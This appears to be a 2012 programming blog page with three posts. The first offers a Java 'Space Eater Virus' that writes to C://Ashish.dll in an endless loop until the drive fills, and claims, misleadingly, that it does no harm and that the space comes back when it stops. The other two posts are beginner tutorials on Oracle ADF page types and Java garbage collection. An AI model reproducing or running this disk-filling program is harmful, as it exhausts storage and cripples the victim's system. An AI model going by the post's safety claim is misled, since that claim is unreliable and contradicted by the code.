Please disable your adblock and script blockers to view this page

Search this blog

Tuesday 16 October 2012

Code that eats hard drive space, Space Eater Virus in Java

This Java Code will eat your space on C drive and Slowdown your System, this code doesn't harm your system. When you stop executing  program it will stop eating your space




  1. package socketProgramming;
  2. import java.io.FileNotFoundException;
  3. import java.io.FileOutputStream;
  4. import java.io.IOException;
  5. public class SpaceEater {
  6.     public static void main(String[] args) {
  7.         FileOutputStream fout;
  8.         try {
  9.             fout = new FileOutputStream("C://Ashish.dll");
  10.             String s =
  11.                 "Hello this is space eater virus how much space it will eat you don't know. it will just destroy all system speed and space on hard disc";
  12.             byte b[] = s.getBytes();
  13.             int i = 0;
  14.             while (i != -1) {
  15.                 fout.write(b);
  16.                
  17.             }
  18.         } catch (FileNotFoundException e) {
  19.         } catch (IOException e) {
  20.         }
  21.     }
  22. }

Monday 15 October 2012

ADF Basics: .jspx and .jsff page in Oracle ADF


.jspx-


.jspx page is JSP/XML representation, it is standalone page means it can run without any supporting or base page.
Jdeveloper 11g Release1 supports .jspx page but  Release2 supports both jspx and Facelets


.jsff page-


.jsff (JSF fragments) page is fragment of JSF(Java Server Faces) page, sometimes pages become to much complex and large and it is not easy to edit those pages, in that case it should be devided in some fragments.
JSF page can be broken in some smaller page fragments to avoid difficulties in editing and maintaining
page fragments can't run independently, it requires a base of .jsf(JSF page) or .jspx (JSP/XML)
page.

Facelets-


Java Server pages(JSP) technology previously used as view declaration for Java Server Faces (JSF) but it doesn't support all the feature of JSF available in JDK1.6 (Java 6), Facelets is introduced under Apche license and default view declaration technology for Java Server Faces.
Facelets supports all the new features introduced in JSF technology, Facelets requires XML document to work
  • Facelets supports HTML and XHTML for designing
  • Fasetr execution than JSP
  • Supports Facelets tab library with JSF and JSTL tag lib

JSP and JSPX-


The main difference I know is that JSP supports HTML and JSPX is XML variant of JSP. .jspx supports more component than jsp page and also compatible with JSF page fragments.


Garbage Collection in Java (Mark and Sweep Algorithm)


Garbage ,in case of Computer Science refers to data , object or any other part of Memory that will not be used in any further program.
Normally memory has much space according to programmer's requiremet but sometimes when there is a lot of unused but non-empty space in memory area, it results in slow processing


Garbage Collection-


Garbage Collection is a form of Memory Management, that is job of system.
Thats why it is called Automated Memory Management.
Garbage Collector try to free memory space occupied by programs and data object that are no longer accessed by any Program or by system communication.


In java-


In Java,Garbage collector runs automatically in the lifetime of a java program, It frees the allocated memory that is not used by running process.
In C language and other old languages , it is the responsibility of coder(Programmer) to free memory time to time using free(); function
You can manually run garbage collector in java, there is a method in System class named void gc();
It suggests JVM(java virtual machine) to collect currently unused memory.
System.gc(); is logically equal to Runtime.getRuntime.gc();


Mark and Sweep-


There are two algotithm for garbage collection- Mark and Sweep also known as Marking and Collection phase of garbage collector.
When all available memory has been exhausted and execution of the program is suspended for a while then mark-and-sweep algorithm marks and collects all the garbage values and memory space.
Once all garbage is marked then it is collected and process resumes .
This is the process of Garbage Collection in java, and same for many other Object Oriented languages